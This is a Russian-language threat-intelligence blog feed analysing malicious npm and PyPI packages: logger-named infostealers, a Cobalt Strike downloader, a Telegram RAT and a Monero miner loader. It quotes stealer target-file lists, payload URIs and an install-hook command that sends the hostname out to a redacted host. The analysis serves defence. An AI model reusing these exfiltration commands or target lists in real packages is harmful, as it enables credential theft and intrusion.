pyanalysis – PT ESC

Библиотека-логгер и инфостилер в придачу? Спасибо, не надо

ti_author — Tue, 07 Apr 2026 16:41:24 +0000

Библиотека-логгер и инфостилер в придачу? Спасибо, не надо 👋

За последнее время произошло немало событий. Например, кто-то решил поиграть в меценатство и опубликовал 30 релизов с именами NPM-библиотек для логирования:

• @logcore/pino-pretty-logger
•

console-loggers

• jellyfi-pino-pretty-logger
• jonas-prettier-logger
• logger-beauty
• pino-logger-utils
• pino-pretty-log
• pino-pretty-logger
• pretty-pino-logger
• pretty-ts-logger
• ts-moduler
• wrapped-logger-utils

Это не просто спам-кампания: эти библиотеки несут в себе инфостилер и бэкдор.

Нам даже удалось в этот раз кому-то уступить в борьбе за звание «самая быстрая рука на диком опенсорсе» — первыми зарепортили лишь 5 из 12 пакетов 🥺

Кампания использует обфускацию. Изначально злоумышленник защищал только имена переменных, но затем стал XOR-ить строки (скриншоты 1, 2).

Вредоносная логика активируется во время импорта библиотеки:

1️⃣Определение ОС жертвы и сбор базовой информации о системе (IP-адрес сетевого устройства, имя пользователя).

2️⃣Параллельное выполнение двух задач:

🔗Быстрая кража: отправление на сервер злоумышленника файла .env, если он есть в текущей рабочей директории.

🔗Обход домашней директории в поисках файлов с расширениями .env / .json. В коде есть небольшая оптимизация — при обходе будут пропущены следующие папки:

'node_modules', 'Library', 'System', 'Windows', 'Program Files', 'ProgramData',
'build', 'dist', 'out', 'output', 'release', 'bin', 'obj', 'Debug', 'Release',
'target', 'target2', 'public', 'private', 'tmp', 'temp', 'var', 'cache', 'log',
'logs', 'sample', 'samples',
'assets', 'media', 'fonts', 'icons', 'images', 'img', 'static', 'resources', 'audio', 'videos', 'video', 'music',
'svn', 'cvs', 'hg', 'mercurial', 'registry',
'__MACOSX', 'vscode', 'eslint', 'prettier', 'yarn', 'pnpm', 'next',
'pkg', 'move', 'rustup', 'toolchains',
'migrations', 'snapshots', 'ssh', 'socket.io', 'svelte-kit', 'vite',
'coverage', 'history', 'terraform'

Пользователям Linux особенно не повезет: им в ~/.ssh/authorized_keys закинут новый публичный SSH-ключ. При работающем сервисе sshd и разрешении использовать ssh-ключ для текущего пользователя позволит злоумышленнику подключаться к устройству 😍

Под Windows помимо обхода домашней директории стилер пройдется по всем подключенным дискам.

3️⃣Отправка всех собранных данных на сервер злоумышленника.

———

В версиях пакета, где применяется более продвинутая обфускация, злоумышленник уточняет, какие конкретно файлы ему нужны:

const ENV_LIKE_FILES = new Set([
    '.env', '.env.local', '.env.production', '.env.development',
    '.config', '.npmrc', '.pypirc', '.git-credentials', 'wallet.dat', 'id.json', 'key.json', 'keystore/*.json',
]);
const JSON_LIKE_FILES = new Set(['config.json', 'settings.json', 'secrets.json']);

Вероятно, это связано с большим количеством мусора при сборе всех json-файлов.

Также добавилась кража директории tdata, содержащей данные сессии Telegram 🤢

———

Дежурное напоминание: не ослабляйте бдительность при работе с опенсорс-проектами 😑

#npm #ti #scs #pyanalysis
@ptescalator (X, Max)

Необычная обфускация — это всегда красиво…

ti_author — Wed, 11 Mar 2026 13:02:42 +0000

Необычная обфускация — это всегда красиво… 🥰

… жаль, что ее приходится видеть в троянистых опенсорс-пакетах, а не только на соревнованиях по информационной безопасности Capture The Flag (CTF).

Одна из задач злоумышленника — сделать вредоносный пакет, который выглядит легитимным. Это позволит дольше избегать обнаружения.

Мы заметили интересную PyPI-кампанию, в которую входит библиотека requests-ml-min за авторством scott.fitzgerald. В ней всего шесть Python-файлов:

1️⃣ setup.py. Есть исполнение ModelInstall в момент установки, но это не криминал: есть много проектов, которые что-то доустанавливают или компилируют на этом этапе.

2️⃣ tests/test_pnotify.py. Ничего необычного.

3️⃣ tests/test_utils.py. Ничего необычного.

4️⃣ resource/resource.py (скриншот 1). Содержит массив из 145 идентификаторов UUID и функцию конкатенации… 🤪 Оригинально, попытка засчитана 🙂

5️⃣ src/audit/perf.py (скриншот 2). Сбор информации о системе, упаковка в base64, отправка. 👍 Десять детектов на стилерский сбор информации о системе из десяти.

6️⃣ src/utils/utils.py (скриншот 3). Реализует функции-хелперы. Строки обфусцированы через массивы ASCII-кодов… 🏃‍♀️ Мы решаем CTF-таск reverse за 100?

О файле resource/resource.py

За обфускацией скрывается красивый downloader + process injector. Красивый потому, что скачиваемый файл, являющийся шеллкодом, расположен по следующему URI:

https://storage.googleapis.com/py-pi/python_win

Шеллкод будет инжектирован в отдельно для него запущенный процесс werfault.exe. Нагрузка представляет собой загрузчик Cobalt Strike.

Действия PyPI-пакета в процессе установки:

🤔 Соберет информацию о системе (скриншот 2).

🤔 Отправит ее на https://us-central1-bucket-438814.cloudfunctions.net/ping/api/v1/ping
(к слову, еще один красивый URI).

🤔 Убедится, что жертва находится в белом списке. Для этого она получит домен жертвы, захэширует его алгоритмом SHA-256 и убедится, что хэш соответствует одному из семи ожидаемых. Это хороший метод антианализа, ведь он затрудняет работу исследователей 🙂

🤔 Если жертва находится в белом списке, то запустит нагрузку с Cobalt Strike.

Занятно, что код позволяет подготовить нагрузку под Windows, Linux и macOS, однако автор добавил только вариант для Windows.

Нам удалось подобрать исходный текст для четырех из семи хэшей:
🌟desktop
🌟abd.local
🌟exttest.local
🌟extprod.local

Свои догадки о природе этих доменов можете оставлять в комментариях 🤨

Учитывая, каким списком целей ограничивает себя библиотека, это может быть пентест или багбаунти. По крайней мере, будем на это надеяться — такую красивую библиотеку не так часто можно встретить.

#pypi #ti #scs #pyanalysis
@ptescalator (X, Max)

pip install teligram

ti_author — Tue, 10 Feb 2026 14:36:18 +0000

pip install teligram 🧐 (лучше не запускайте)

Восьмого февраля была опубликована библиотека teligram.

Ее описание гласит: Telegram-based friendly library.

Увы, как обычно у нас в постах, чудес не бывает — библиотека представлена самописным Remote Access Tool (RAT).

Его особенности:

• Есть следы использования LLM.

• Содержит в себе одну большую функцию khelo, в которой реализованы 16 подфункций.

• Присутствуют следы индийского языка (khelo переводится как «играть»; выбранное имя разработчика Om Devendra — индийское).

• Код не обфусцирован, и приветствие бота, отправляемое при использовании команд /help и /start администратором, отражает возможности:

Available commands:
pwd - Show current directory
ls or ls -la - List files
cd  - Change directory
whoami - Show current user
date - Show date and time

TAKE COMMANDS:
1. take  - Get the nth file
   Example: take 1

2. take  - Get file by name
   Example: take myfile.txt

3. take . - Get all files with extension
   Example: take .jpg or take .py

4. take all - Get ALL non-empty files

5. /send - Upload files to current directory

Special features:
- Working directory saved between commands
- Empty files automatically skipped

Версия 1.0.0 не обладает функционалом запуска после установки. Остальные версии не успели выйти — пакет был отправлен в карантин, хотя и просуществовал 19 часов.

💬 К слову, читать ESCalator можно теперь и в MAX . И это не скам.

#pypi #ti #scs #pyanalysis
@ptescalator

Город празднует, просыпается мафия

ti_author — Mon, 19 Jan 2026 15:05:12 +0000

Город празднует, просыпается мафия 🥰

За период с 1 по 11 января в экосистеме NPM было удалено ~180 вредоносных пакетов, в PyPI — 16. ~~Злоумышленники в PyPI ленятся~~. Мы расскажем о маленькой новогодней магии в рамках одного PyPI-пакета.

Пользователь ambertransit 4 января опубликовал проект aiihttp, название которого мимикрирует под http-клиент aiohttp.

Начинается код простой обфускацией:

import base64

exec(base64.b64decode('aW1wb3J0IGl...')

Логика, сокрытая за base64, представлена на первом скриншоте. Из ключевого:

• Пакет по-джентельменски помогает опечатавшемуся разработчику: удаляет себя, устанавливает aiohttp [п.1 на скр. 1], после чего перезагружает модуль, если он уже был импортирован [2].

• Следующий стейдж находится на GitHub [3]. Однако все не так просто — он зашифрован XOR-ом длиной 32 символа [4]. Для ключа используется алфавит [a-f0-9]{32}, который по формату походит на MD5, но дополнительного смысла мы за этим не нашли.

• Закрепление в системе происходит через реестр [5]. Стейдж отработает при следующем входе пользователя в систему.

Учетная запись GitHub активна и заливает вредоносы с мая 2024. Использование XOR, даже с ключом длиной 32 байта, без режима сцепления блоков шифротекста делает исполняемые файлы не такими уж и защищенными 😁 (на втором скриншоте — скачиваемый вредоносным кодом блоб). Такая же картина наблюдается и к концу файла, тоже богатому нулевыми байтами.

Исполняемым файлом является майнер для криптовалюты Monero. В результате кампании злоумышленнику удалось намайнить 15,7 (не миллионов) рублей 🤑

Будьте осторожны в опенсорсе, это плодородная почва для действий злоумышленников 😼

#pypi #ti #scs #pyanalysis
@ptescalator

Node JS. Вредоносная активность на стадии установки

ti_author — Tue, 29 Jul 2025 17:58:09 +0000

Node JS. Вредоносная активность на стадии установки

В рамках исследования действий злоумышленников в npm (Node Package Manager, основного репозитория JS-кода) мы решили одним глазком заглянуть в это направление.

В пакетах JavaScript существует механизм запуска скриптов на этапе установки. Он описывается в конфигурационном файле package.json в секции scripts:

{
  "name": "",
  "version": "1.0.0",
  "description": "Example config of package.json for demonstration-purposes",
  "main": "hello.js",
  "scripts": {
    "preinstall": "echo \"I will be run at pre-install stage\"",
    "install": "echo \"I will be run at install stage\"",
    "postinstall": "echo \"I will be run at post-install stage\""
  }
}

Значения являются командами для системного интерпретатора, будь то sh, bash, fish или даже виндовый cmd — что стоит по умолчанию, то и будет использовано 😎

Злоумышленники идут двумя путями в рамках эксплуатации возможности запустить свою нагрузку во время установки:

🫥 Запустить js-код

atlas-websocket@33.9.9, postinstall:

node index.js

wokes@1.0.0, postinstall:

node cli/setup-security.js

🫥 Исполнить команду системным интерпретатором:

autogestion-aprendizaje@1.0.4, preinstall, передача hostname:

echo "No tests" && curl "http://[REDACTED].net/?NPM=$(hostname)&

pyanalysis – PT ESC

Библиотека-логгер и инфостилер в придачу? Спасибо, не надо

Необычная обфускация — это всегда красиво…

pip install teligram

Город празднует, просыпается мафия

Node JS. Вредоносная активность на стадии установки

Страсти вокруг PyPI: 🪰⮕🐘?

Mmaallwwaarree iinn ooppeennssoouurrccee!

Злоумышленник опубликовал вредоносные пакеты deepseeek и deepseekai в Python Package Index

Первые шаги на хакерском поприще

Через блокчейн к данным